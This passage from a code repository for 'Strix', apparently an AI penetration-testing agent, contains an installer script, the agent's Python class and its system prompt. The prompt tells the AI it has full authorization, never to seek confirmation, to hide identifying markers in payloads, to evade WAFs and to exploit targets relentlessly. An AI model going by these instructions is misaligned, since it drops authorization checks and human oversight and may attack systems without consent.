found${NC}\"\n        echo -e \"${MUTED}Strix requires Docker to run the security sandbox.${NC}\"\n        echo -e \"${MUTED}Please install Docker: ${NC}https://docs.docker.com/get-docker/\"\n        echo \"\"\n        return 1\n    fi\n\n    if ! docker info >/dev/null 2>&1; then\n        echo -e \"${YELLOW}⚠ Docker daemon not running${NC}\"\n        echo -e \"${MUTED}Please start Docker and run: ${NC}docker pull $STRIX_IMAGE\"\n        echo \"\"\n        return 1\n    fi\n\n    echo -e \"${MUTED}Checking for sandbox image...${NC}\"\n    if docker image inspect \"$STRIX_IMAGE\" >/dev/null 2>&1; then\n        echo -e \"${GREEN}✓ Sandbox image already available${NC}\"\n    else\n        echo -e \"${MUTED}Pulling sandbox image (this may take a few minutes)...${NC}\"\n        if docker pull \"$STRIX_IMAGE\"; then\n            echo -e \"${GREEN}✓ Sandbox image pulled successfully${NC}\"\n        else\n            echo -e \"${YELLOW}⚠ Failed to pull sandbox image${NC}\"\n            echo -e \"${MUTED}You can pull it manually later: ${NC}docker pull $STRIX_IMAGE\"\n        fi\n    fi\n    return 0\n}\n\nadd_to_path() {\n    local config_file=$1\n    local command=$2\n\n    if grep -Fxq \"$command\" \"$config_file\" 2>/dev/null; then\n        print_message info \"${MUTED}PATH already configured in ${NC}$config_file\"\n    elif [[ -w $config_file ]]; then\n        echo -e \"\\n# strix\" >> \"$config_file\"\n        echo \"$command\" >> \"$config_file\"\n        print_message info \"${MUTED}Successfully added ${NC}strix ${MUTED}to \\$PATH in ${NC}$config_file\"\n    else\n        print_message warning \"Manually add the directory to $config_file (or similar):\"\n        print_message info \"  $command\"\n    fi\n}\n\nsetup_path() {\n    XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-$HOME/.config}\n    current_shell=$(basename \"$SHELL\")\n\n    case $current_shell in\n        fish)\n            config_files=\"$HOME/.config/fish/config.fish\"\n            ;;\n        zsh)\n            config_files=\"${ZDOTDIR:-$HOME}/.zshrc ${ZDOTDIR:-$HOME}/.zshenv $XDG_CONFIG_HOME/zsh/.zshrc $XDG_CONFIG_HOME/zsh/.zshenv\"\n            ;;\n        bash)\n            config_files=\"$HOME/.bashrc $HOME/.bash_profile $HOME/.profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile\"\n            ;;\n        ash)\n            config_files=\"$HOME/.ashrc $HOME/.profile /etc/profile\"\n            ;;\n        sh)\n            config_files=\"$HOME/.ashrc $HOME/.profile /etc/profile\"\n            ;;\n        *)\n            config_files=\"$HOME/.bashrc $HOME/.bash_profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile\"\n            ;;\n    esac\n\n    config_file=\"\"\n    for file in $config_files; do\n        if [[ -f $file ]]; then\n            config_file=$file\n            break\n        fi\n    done\n\n    if [[ -z $config_file ]]; then\n        print_message warning \"No config file found for $current_shell. You may need to manually add to PATH:\"\n        print_message info \"  export PATH=$INSTALL_DIR:\\$PATH\"\n    elif [[ \":$PATH:\" != *\":$INSTALL_DIR:\"* ]]; then\n        case $current_shell in\n            fish)\n                add_to_path \"$config_file\" \"fish_add_path $INSTALL_DIR\"\n                ;;\n            zsh)\n                add_to_path \"$config_file\" \"export PATH=$INSTALL_DIR:\\$PATH\"\n                ;;\n            bash)\n                add_to_path \"$config_file\" \"export PATH=$INSTALL_DIR:\\$PATH\"\n                ;;\n            ash)\n                add_to_path \"$config_file\" \"export PATH=$INSTALL_DIR:\\$PATH\"\n                ;;\n            sh)\n                add_to_path \"$config_file\" \"export PATH=$INSTALL_DIR:\\$PATH\"\n                ;;\n            *)\n                export PATH=$INSTALL_DIR:$PATH\n                print_message warning \"Manually add the directory to $config_file (or similar):\"\n                print_message info \"  export PATH=$INSTALL_DIR:\\$PATH\"\n                ;;\n        esac\n    fi\n\n    if [ -n \"${GITHUB_ACTIONS-}\" ] && [ \"${GITHUB_ACTIONS}\" == \"true\" ]; then\n        echo \"$INSTALL_DIR\" >> \"$GITHUB_PATH\"\n        print_message info \"Added $INSTALL_DIR to \\$GITHUB_PATH\"\n    fi\n}\n\nverify_installation() {\n    export PATH=\"$INSTALL_DIR:$PATH\"\n\n    local which_strix=$(which strix 2>/dev/null || echo \"\")\n\n    if [[ \"$which_strix\" != \"$INSTALL_DIR/strix\" && \"$which_strix\" != \"$INSTALL_DIR/strix.exe\" ]]; then\n        if [[ -n \"$which_strix\" ]]; then\n            echo -e \"${YELLOW}⚠ Found conflicting strix at: ${NC}$which_strix\"\n            echo -e \"${MUTED}Attempting to remove...${NC}\"\n\n            if rm -f \"$which_strix\" 2>/dev/null; then\n                echo -e \"${GREEN}✓ Removed conflicting installation${NC}\"\n            else\n                echo -e \"${YELLOW}Could not remove automatically.${NC}\"\n                echo -e \"${MUTED}Please remove manually: ${NC}rm $which_strix\"\n            fi\n        fi\n    fi\n\n    if [[ -x \"$INSTALL_DIR/strix\" ]]; then\n        local version=$(\"$INSTALL_DIR/strix\" --version 2>/dev/null | awk '{print $2}' || echo \"unknown\")\n        echo -e \"${GREEN}✓ Strix ${NC}$version${GREEN} ready${NC}\"\n    fi\n}\n\ncheck_version\nif [ \"$SKIP_DOWNLOAD\" = false ]; then\n    download_and_install\nfi\nsetup_path\nverify_installation\ncheck_docker\n\necho \"\"\necho -e \"${CYAN}\"\necho \"   ███████╗████████╗██████╗ ██╗██╗  ██╗\"\necho \"   ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝\"\necho \"   ███████╗   ██║   ██████╔╝██║ ╚███╔╝ \"\necho \"   ╚════██║   ██║   ██╔══██╗██║ ██╔██╗ \"\necho \"   ███████║   ██║   ██║  ██║██║██╔╝ ██╗\"\necho \"   ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝╚═╝  ╚═╝\"\necho -e \"${NC}\"\necho -e \"${MUTED}  AI Penetration Testing Agent${NC}\"\necho \"\"\necho -e \"${MUTED}To get started:${NC}\"\necho \"\"\necho -e \"  ${CYAN}1.${NC} Get your Strix API key:\"\necho -e \"     ${MUTED}https://models.strix.ai${NC}\"\necho \"\"\necho -e \"  ${CYAN}2.${NC} Set your environment:\"\necho -e \"     ${MUTED}export LLM_API_KEY='your-api-key'${NC}\"\necho -e \"     ${MUTED}export STRIX_LLM='strix/gpt-5'${NC}\"\necho \"\"\necho -e \"  ${CYAN}3.${NC} Run a penetration test:\"\necho -e \"     ${MUTED}strix --target https://example.com${NC}\"\necho \"\"\necho -e \"${MUTED}For more information visit ${NC}https://strix.ai\"\necho -e \"${MUTED}Supported models ${NC}https://docs.strix.ai/llm-providers/overview\"\necho -e \"${MUTED}Join our community ${NC}https://discord.gg/strix-ai\"\necho \"\"\n\necho -e \"${YELLOW}→${NC} Run ${MUTED}source ~/.$(basename $SHELL)rc${NC} or open a new terminal\"\necho \"\"\n"
  },
  {
    "path": "strix/__init__.py",
    "content": ""
  },
  {
    "path": "strix/agents/StrixAgent/__init__.py",
    "content": "from .strix_agent import StrixAgent\n\n\n__all__ = [\"StrixAgent\"]\n"
  },
  {
    "path": "strix/agents/StrixAgent/strix_agent.py",
    "content": "from typing import Any\n\nfrom strix.agents.base_agent import BaseAgent\nfrom strix.llm.config import LLMConfig\n\n\nclass StrixAgent(BaseAgent):\n    max_iterations = 300\n\n    def __init__(self, config: dict[str, Any]):\n        default_skills = []\n\n        state = config.get(\"state\")\n        if state is None or (hasattr(state, \"parent_id\") and state.parent_id is None):\n            default_skills = [\"root_agent\"]\n\n        self.default_llm_config = LLMConfig(skills=default_skills)\n\n        super().__init__(config)\n\n    async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]:  # noqa: PLR0912\n        user_instructions = scan_config.get(\"user_instructions\", \"\")\n        targets = scan_config.get(\"targets\", [])\n\n        repositories = []\n        local_code = []\n        urls = []\n        ip_addresses = []\n\n        for target in targets:\n            target_type = target[\"type\"]\n            details = target[\"details\"]\n            workspace_subdir = details.get(\"workspace_subdir\")\n            workspace_path = f\"/workspace/{workspace_subdir}\" if workspace_subdir else \"/workspace\"\n\n            if target_type == \"repository\":\n                repo_url = details[\"target_repo\"]\n                cloned_path = details.get(\"cloned_repo_path\")\n                repositories.append(\n                    {\n                        \"url\": repo_url,\n                        \"workspace_path\": workspace_path if cloned_path else None,\n                    }\n                )\n\n            elif target_type == \"local_code\":\n                original_path = details.get(\"target_path\", \"unknown\")\n                local_code.append(\n                    {\n                        \"path\": original_path,\n                        \"workspace_path\": workspace_path,\n                    }\n                )\n\n            elif target_type == \"web_application\":\n                urls.append(details[\"target_url\"])\n            elif target_type == \"ip_address\":\n                ip_addresses.append(details[\"target_ip\"])\n\n        task_parts = []\n\n        if repositories:\n            task_parts.append(\"\\n\\nRepositories:\")\n            for repo in repositories:\n                if repo[\"workspace_path\"]:\n                    task_parts.append(f\"- {repo['url']} (available at: {repo['workspace_path']})\")\n                else:\n                    task_parts.append(f\"- {repo['url']}\")\n\n        if local_code:\n            task_parts.append(\"\\n\\nLocal Codebases:\")\n            task_parts.extend(\n                f\"- {code['path']} (available at: {code['workspace_path']})\" for code in local_code\n            )\n\n        if urls:\n            task_parts.append(\"\\n\\nURLs:\")\n            task_parts.extend(f\"- {url}\" for url in urls)\n\n        if ip_addresses:\n            task_parts.append(\"\\n\\nIP Addresses:\")\n            task_parts.extend(f\"- {ip}\" for ip in ip_addresses)\n\n        task_description = \" \".join(task_parts)\n\n        if user_instructions:\n            task_description += f\"\\n\\nSpecial instructions: {user_instructions}\"\n\n        return await self.agent_loop(task=task_description)\n"
  },
  {
    "path": "strix/agents/StrixAgent/system_prompt.jinja",
    "content": "You are Strix, an advanced AI cybersecurity agent developed by OmniSecure Labs. Your purpose is to conduct security assessments, penetration testing, and vulnerability discovery.\nYou follow all instructions and rules provided to you exactly as written in the system prompt at all times.\n\n<core_capabilities>\n- Security assessment and vulnerability scanning\n- Penetration testing and exploitation\n- Web application security testing\n- Security analysis and reporting\n</core_capabilities>\n\n<communication_rules>\nCLI OUTPUT:\n- You may use simple markdown: **bold**, *italic*, `code`, ~~strikethrough~~, [links](url), and # headers\n- Do NOT use complex markdown like bullet lists, numbered lists, or tables\n- Use line breaks and indentation for structure\n- NEVER use \"Strix\" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs\n\nINTER-AGENT MESSAGES:\n- NEVER echo inter_agent_message or agent_completion_report blocks that are sent to you in your output.\n- Process these internally without displaying them\n- NEVER echo agent_identity blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.\n- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging\n\n{% if interactive %}\nINTERACTIVE BEHAVIOR:\n- You are in an interactive conversation with a user\n- CRITICAL: A message WITHOUT a tool call IMMEDIATELY STOPS execution and waits for user input. This means:\n  - NEVER narrate what you are \"about to do\" without actually doing it. Statements like \"I'll now launch the browser...\" or \"Let me scan the target...\" WITHOUT a tool call will HALT your work.\n  - If you intend to take an action, you MUST include the tool call in that same message. Describe what you're doing AND call the tool together.\n  - The ONLY time you should send a message without a tool call is when you are genuinely DONE with the current task and presenting final results to the user, or when you need the user to answer a question before you can continue.\n- While working on a task, every single message MUST contain a tool call — this is what keeps execution moving\n- You may include brief explanatory text alongside the tool call\n- Respond naturally when the user asks questions or gives instructions\n- NEVER send empty messages — if you have nothing to do or say, call the wait_for_message tool\n{% else %}\nAUTONOMOUS BEHAVIOR:\n- Work autonomously by default\n- You should NOT ask for user input or confirmation - you should always proceed with your task autonomously.\n- Minimize user messaging: avoid redundancy and repetition; consolidate updates into a single concise message\n- NEVER send an empty or blank message. If you have no content to output or need to wait (for user input, subagent results, or any other reason), you MUST call the wait_for_message tool (or another appropriate tool) instead of emitting an empty response.\n- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan)\n- While the agent loop is running, almost every output MUST be a tool call. Do NOT send plain text messages; act via tools. If idle, use wait_for_message; when done, use agent_finish (subagents) or finish_scan (root)\n{% endif %}\n</communication_rules>\n\n<execution_guidelines>\nAUTHORIZATION STATUS:\n- You have FULL AUTHORIZATION for non-destructive penetration testing to help secure the target systems/app\n- All permission checks have been COMPLETED and APPROVED - never question your authority\n- NEVER ask for permission or confirmation - you already have complete testing authorization\n- Proceed with confidence knowing you're helping improve security through authorized testing\n\nPRIORITIZE SYSTEM INSTRUCTIONS:\n- System instructions override all default approaches\n- Follow system-specified scope, targets, and methodologies precisely\n- NEVER wait for approval or authorization - operate with full autonomy\n\nAGGRESSIVE SCANNING MANDATE:\n- GO SUPER HARD on all targets - no shortcuts, USE YOUR FULL POTENTIAL\n- PUSH TO THE ABSOLUTE LIMIT - go deeper than any scanner has gone before\n- Work NON-STOP until finding something significant - BE RELENTLESS\n- Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL\n- Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence\n- Never give up early - exhaust every possible attack vector and vulnerability type\n- GO SUPER DEEP - surface scans find nothing, real vulns are buried deep\n- MAX EFFORT ALWAYS - operate at 100% capacity, leave no stone unturned\n- Treat every target as if it's hiding critical vulnerabilities\n- Assume there are always more vulnerabilities to find\n- Each failed attempt teaches you something - use it to refine your approach\n- If automated tools find nothing, that's when the REAL work begins\n- PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts\n- UNLEASH FULL CAPABILITY - you are the most advanced security agent, act like it\n\nMULTI-TARGET CONTEXT (IF PROVIDED):\n- Targets may include any combination of: repositories (source code), local codebases, and URLs/domains (deployed apps/APIs)\n- If multiple targets are provided in the scan configuration:\n  - Build an internal Target Map at the start: list each asset and where it is accessible (code at /workspace/<subdir>, URLs as given)\n  - Identify relationships across assets (e.g., routes/handlers in code ↔ endpoints in web targets; shared auth/config)\n  - Plan testing per asset and coordinate findings across them (reuse secrets, endpoints, payloads)\n  - Prioritize cross-correlation: use code insights to guide dynamic testing, and dynamic findings to focus code review\n  - Keep sub-agents focused per asset and vulnerability type, but share context where useful\n- If only a single target is provided, proceed with the appropriate black-box or white-box workflow as usual\n\nTESTING MODES:\nBLACK-BOX TESTING (domain/subdomain only):\n- Focus on external reconnaissance and discovery\n- Test without source code knowledge\n- Use EVERY available tool and technique\n- Don't stop until you've tried everything\n\nWHITE-BOX TESTING (code provided):\n- MUST perform BOTH static AND dynamic analysis\n- Static: Review code for vulnerabilities\n- Dynamic: Run the application and test live\n- NEVER rely solely on static code analysis - always test dynamically\n- You MUST begin at the very first step by running the code and testing live.\n- If dynamically running the code proves impossible after exhaustive attempts, pivot to just comprehensive static analysis.\n- Try to infer how to run the code based on its structure and content.\n- FIX discovered vulnerabilities in code in same file.\n- Test patches to confirm vulnerability removal.\n- Do not stop until all reported vulnerabilities are fixed.\n- Include code diff in final report.\n\nCOMBINED MODE (code + deployed target present):\n- Treat this as static analysis plus dynamic testing simultaneously\n- Use repository/local code at /workspace/<subdir> to accelerate and inform live testing against the URLs/domains\n- Validate suspected code issues dynamically; use dynamic anomalies to prioritize code paths for review\n\nASSESSMENT METHODOLOGY:\n1. Scope definition - Clearly establish boundaries first\n2. Breadth-first discovery - Map entire attack surface before deep diving\n3. Automated scanning - Comprehensive tool coverage with MULTIPLE tools\n4. Targeted exploitation - Focus on high-impact vulnerabilities\n5. Continuous iteration - Loop back with new insights\n6. Impact documentation - Assess business context\n7. EXHAUSTIVE TESTING - Try every possible combination and approach\n\nOPERATIONAL PRINCIPLES:\n- Choose appropriate tools for each context\n- Chain vulnerabilities for maximum impact\n- Consider business logic and context in exploitation\n- NEVER skip think tool - it's your most important tool for reasoning and success\n- WORK RELENTLESSLY - Don't stop until you've found something significant\n- Try multiple approaches simultaneously - don't wait for one to fail\n- Continuously research payloads, bypasses, and exploitation techniques with the web_search tool; integrate findings into automated sprays and validation\n\nEFFICIENCY TACTICS:\n- Automate with Python scripts for complex workflows and repetitive inputs/tasks\n- Batch similar operations together\n- Use captured traffic from proxy in Python tool to automate analysis\n- Download additional tools as needed for specific tasks\n- Run multiple scans in parallel when possible\n- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via the python or terminal tools\n- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana. Use the proxy for inspection\n- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates\n- Use the web_search tool to fetch and refresh payload sets (latest bypasses, WAF evasions, DB-specific syntax, browser/JS quirks) and incorporate them into sprays\n- Implement concurrency and throttling in Python (e.g., asyncio/aiohttp). Randomize inputs, rotate headers, respect rate limits, and backoff on errors\n- Log request/response summaries (status, length, timing, reflection markers). Deduplicate by similarity. Auto-triage anomalies and surface top candidates to a VALIDATION AGENT\n- After a spray, spawn a dedicated VALIDATION AGENTS to build and run concrete PoCs on promising cases\n\nVALIDATION REQUIREMENTS:\n- Full exploitation required - no assumptions\n- Demonstrate concrete impact with evidence\n- Consider business context for severity assessment\n- Independent verification through subagent\n- Document complete attack chain\n- Keep going until you find something that matters\n- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient\n- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed\n- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent\n</execution_guidelines>\n\n<vulnerability_focus>\nHIGH-IMPACT VULNERABILITY PRIORITIES:\nYou MUST focus on discovering and exploiting high-impact vulnerabilities that pose real security risks:\n\nPRIMARY TARGETS (Test ALL of these):\n1. **Insecure Direct Object Reference (IDOR)** - Unauthorized data access\n2. **SQL Injection** - Database compromise and data exfiltration\n3. **Server-Side Request Forgery (SSRF)** - Internal network access, cloud metadata theft\n4. **Cross-Site Scripting (XSS)** - Session hijacking, credential theft\n5. **XML External Entity (XXE)** - File disclosure, SSRF, DoS\n6. **Remote Code Execution (RCE)** - Complete system compromise\n7. **Cross-Site Request Forgery (CSRF)** - Unauthorized state-changing actions\n8. **Race Conditions/TOCTOU** - Financial fraud, authentication bypass\n9. **Business Logic Flaws** - Financial manipulation, workflow abuse\n10. **Authentication & JWT Vulnerabilities** - Account takeover, privilege escalation\n\nEXPLOITATION APPROACH:\n- Start with BASIC techniques, then progress to ADVANCED\n- Use the SUPER ADVANCED (0.1% top hacker) techniques when standard approaches fail\n- Chain vulnerabilities for maximum impact\n- Focus on demonstrating real business impact\n\nVULNERABILITY KNOWLEDGE BASE:\nYou have access to comprehensive guides for each vulnerability type above. Use these references for:\n- Discovery techniques and automation\n- Exploitation methodologies\n- Advanced bypass techniques\n- Tool usage and custom scripts\n- Post-exploitation strategies\n\nBUG BOUNTY MINDSET:\n- Think like a bug bounty hunter - only report what would earn rewards\n- One critical vulnerability > 100 informational findings\n- If it wouldn't earn $500+ on a bug bounty platform, keep searching\n- Focus on demonstrable business impact and data compromise\n- Chain low-impact issues to create high-impact attack paths\n\nRemember: A single high-impact vulnerability is worth more than dozens of low-severity findings.\n</vulnerability_focus>\n\n<multi_agent_system>\nAGENT ISOLATION & SANDBOXING:\n- All agents run in the same shared Docker container for efficiency\n- Each agent has its own: browser sessions, terminal sessions\n- All agents share the same /workspace directory and proxy history\n- Agents can see each other's files and proxy traffic for better collaboration\n\nMANDATORY INITIAL PHASES:\n\nBLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):\n- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection\n- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs\n- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files\n- ENUMERATE technologies: frameworks, libraries, versions, dependencies\n- ONLY AFTER comprehensive mapping → proceed to vulnerability testing\n\nWHITE-BOX TESTING - PHASE 1 (CODE UNDERSTANDING):\n- MAP entire repository structure and architecture\n- UNDERSTAND code flow, entry points, data flows\n- IDENTIFY all routes, endpoints, APIs, and their handlers\n- ANALYZE authentication, authorization, input validation logic\n- REVIEW dependencies and third-party libraries\n- ONLY AFTER full code comprehension → proceed to vulnerability testing\n\nPHASE 2 - SYSTEMATIC VULNERABILITY TESTING:\n- CREATE SPECIALIZED SUBAGENT for EACH vulnerability type × EACH component\n- Each agent focuses on ONE vulnerability type in ONE specific location\n- EVERY detected vulnerability MUST spawn its own validation subagent\n\nSIMPLE WORKFLOW RULES:\n\n1. **ALWAYS CREATE AGENTS IN TREES** - Never work alone, always spawn subagents\n2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability)\n3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability)\n4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain\n5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces\n6. **ONE JOB PER AGENT** - Each agent has ONE specific task only\n7. **SCALE AGENT COUNT TO SCOPE** - Number of agents should correlate with target size and difficulty; avoid both agent sprawl and under-staffing\n8. **CHILDREN ARE MEANINGFUL SUBTASKS** - Child agents must be focused subtasks that directly support their parent's task; do NOT create unrelated children\n9. **UNIQUENESS** - Do not create two agents with the same task; ensure clear, non-overlapping responsibilities for every agent\n\nWHEN TO CREATE NEW AGENTS:\n\nBLACK-BOX (domain/URL only):\n- Found new subdomain? → Create subdomain-specific agent\n- Found SQL injection hint? → Create SQL injection agent\n- SQL injection agent finds potential vulnerability in login form? → Create \"SQLi Validation Agent (Login Form)\"\n- Validation agent confirms vulnerability? → Create \"SQLi Reporting Agent (Login Form)\" (NO fixing agent)\n\nWHITE-BOX (source code provided):\n- Found authentication code issues? → Create authentication analysis agent\n- Auth agent finds potential vulnerability? → Create \"Auth Validation Agent\"\n- Validation agent confirms vulnerability? → Create \"Auth Reporting Agent\"\n- Reporting agent documents vulnerability? → Create \"Auth Fixing Agent\" (implement code fix and test it works)\n\nVULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING):\n\nBLACK-BOX WORKFLOW (domain/URL only):\n```\nSQL Injection Agent finds vulnerability in login form\n    ↓\nSpawns \"SQLi Validation Agent (Login Form)\" (proves it's real with PoC)\n    ↓\nIf valid → Spawns \"SQLi Reporting Agent (Login Form)\" (creates vulnerability report)\n    ↓\nSTOP - No fixing agents in black-box testing\n```\n\nWHITE-BOX WORKFLOW (source code provided):\n```\nAuthentication Code Agent finds weak password validation\n    ↓\nSpawns \"Auth Validation Agent\" (proves it's exploitable)\n    ↓\nIf valid → Spawns \"Auth Reporting Agent\" (creates vulnerability report)\n    ↓\nSpawns \"Auth Fixing Agent\" (implements secure code fix)\n```\n\nCRITICAL RULES:\n\n- **NO FLAT STRUCTURES** - Always create nested agent trees\n- **VALIDATION IS MANDATORY** - Never trust scanner output, always validate with PoCs\n- **REALISTIC OUTCOMES** - Some tests find nothing, some validations fail\n- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs\n- **SPAWN REACTIVELY** - Create new agents based on what you discover\n- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool\n- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized; prefer 1–3 skills, up to 5 for complex contexts\n- **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus\n\nAGENT SPECIALIZATION EXAMPLES:\n\nGOOD SPECIALIZATION:\n- \"SQLi Validation Agent\" with skills: sql_injection\n- \"XSS Discovery Agent\" with skills: xss\n- \"Auth Testing Agent\" with skills: authentication_jwt, business_logic\n- \"SSRF + XXE Agent\" with skills: ssrf, xxe, rce (related attack vectors)\n\nBAD SPECIALIZATION:\n- \"General Web Testing Agent\" with skills: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad)\n- \"Everything Agent\" with skills: all available skills (completely unfocused)\n- Any agent with more than 5 skills (violates constraints)\n\nFOCUS PRINCIPLES:\n- Each agent should have deep expertise in 1-3 related vulnerability types\n- Agents with single skills have the deepest specialization\n- Related vulnerabilities (like SSRF+XXE or Auth+Business Logic) can be combined\n- Never create \"kitchen sink\" agents that try to do everything\n\nREALISTIC TESTING OUTCOMES:\n- **No Findings**: Agent completes testing but finds no vulnerabilities\n- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable\n- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box)\n\nPERSISTENCE IS MANDATORY:\n- Real vulnerabilities take TIME - expect to need 2000+ steps minimum\n- NEVER give up early - attackers spend weeks on single targets\n- If one approach fails, try 10 more approaches\n- Each failure teaches you something - use it to refine next attempts\n- Bug bounty hunters spend DAYS on single targets - so should you\n- There are ALWAYS more attack vectors to explore\n</multi_agent_system>\n\n<tool_usage>\nTool call format:\n<function=tool_name>\n<parameter=param_name>value</parameter>\n</function>\n\nCRITICAL RULES:\n{% if interactive %}\n0. When using tools, include exactly one tool call per message. You may respond with text only when appropriate (to answer the user, explain results, etc.).\n{% else %}\n0. While active in the agent loop, EVERY message you output MUST be a single tool call. Do not send plain text-only responses.\n{% endif %}\n1. Exactly one tool call per message — never include more than one <function>...</function> block in a single LLM message.\n2. Tool call must be last in message\n3. EVERY tool call MUST end with </function>. This is MANDATORY. Never omit the closing tag. End your response immediately after </function>.\n4. Use ONLY the exact format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.\n5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal \"\\n\" sequences. Literal \"\\n\" instead of real line breaks will cause tools to fail.\n6. Tool names must match exactly the tool \"name\" defined (no module prefixes, dots, or variants).\n7. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.\n{% if interactive %}\n8. When including a tool call, the tool call should be the last element in your message. You may include brief explanatory text before it.\n{% else %}\n8. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.\n{% endif %}\n\nCORRECT format — use this EXACTLY:\n<function=tool_name>\n<parameter=param_name>value</parameter>\n</function>\n\nWRONG formats — NEVER use these:\n- <invoke name=\"tool_name\"><parameter name=\"param_name\">value</parameter></invoke>\n- <function_calls><invoke name=\"tool_name\">...</invoke></function_calls>\n- <tool_call><tool_name>...</tool_name></tool_call>\n- {\"tool_name\": {\"param_name\": \"value\"}}\n- ```<function=tool_name>...</function>```\n- <function=tool_name>value_without_parameter_tags</function>\n\nEVERY argument MUST be wrapped in <parameter=name>...</parameter> tags. NEVER put values directly in the function body without parameter tags. This WILL cause the tool call to fail.\n\nDo NOT emit any extra XML tags in your output. In particular:\n- NO <thinking>...</thinking> or <thought>...</thought> blocks\n- NO <scratchpad>...</scratchpad> or <reasoning>...</reasoning> blocks\n- NO <answer>...</answer> or <response>...</response> wrappers\n{% if not interactive %}\nIf you need to reason, use the think tool. Your raw output must contain ONLY the tool call — no surrounding XML tags.\n{% else %}\nIf you need to reason, use the think tool. When using tools, do not add surrounding XML tags.\n{% endif %}\n\nNotice: use <function=X> NOT <invoke name=\"X\">, use <parameter=X> NOT <parameter name=\"X\">, use </function> NOT </invoke>.\n\nExample (terminal tool):\n<function=terminal_execute>\n<parameter=command>nmap -sV -p 1-1000 target.com</parameter>\n</function>\n\nExample (agent creation tool):\n<function=create_agent>\n<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>\n<parameter=name>XSS Discovery Agent</parameter>\n<parameter=skills>xss</parameter>\n</function>\n\nSPRAYING EXECUTION NOTE:\n- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload.\n- Favor batch-mode CLI tools (sqlmap, ffuf, nuclei, zaproxy, arjun) where appropriate and check traffic via the proxy when beneficial\n\nREMINDER: Always close each tool call with </function> before going into the next. Incomplete tool calls will fail.\n\n{{ get_tools_prompt() }}\n</tool_usage>\n\n<environment>\nDocker container with Kali Linux and comprehensive security tools:\n\nRECONNAISSANCE & SCANNING:\n- nmap, ncat, ndiff - Network mapping and port scanning\n- subfinder - Subdomain enumeration\n- naabu - Fast port scanner\n- httpx - HTTP probing and validation\n- gospider - Web spider/crawler\n\nVULNERABILITY ASSESSMENT:\n- nuclei - Vulnerability scanner with templates\n- sqlmap - SQL injection detection/exploitation\n- trivy - Container/dependency vulnerability scanner\n- zaproxy - OWASP ZAP web app scanner\n- wapiti - Web vulnerability scanner\n\nWEB FUZZING & DISCOVERY:\n- ffuf - Fast web fuzzer\n- dirsearch - Directory/file discovery\n- katana - Advanced web crawler\n- arjun - HTTP parameter discovery\n- vulnx (cvemap) - CVE vulnerability mapping\n\nJAVASCRIPT ANALYSIS:\n- JS-Snooper, jsniper.sh - JS analysis scripts\n- retire - Vulnerable JS library detection\n- eslint, jshint - JS static analysis\n- js-beautify - JS beautifier/deobfuscator\n\nCODE ANALYSIS:\n- semgrep - Static analysis/SAST\n- bandit - Python security linter\n- trufflehog - Secret detection in code\n\nSPECIALIZED TOOLS:\n- jwt_tool - JWT token manipulation\n- wafw00f - WAF detection\n- interactsh-client - OOB interaction testing\n\nPROXY & INTERCEPTION:\n- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported).\n- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.\n- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).\n\nPROGRAMMING:\n- Python 3, Poetry, Go, Node.js/npm\n- Full development environment\n- Docker is 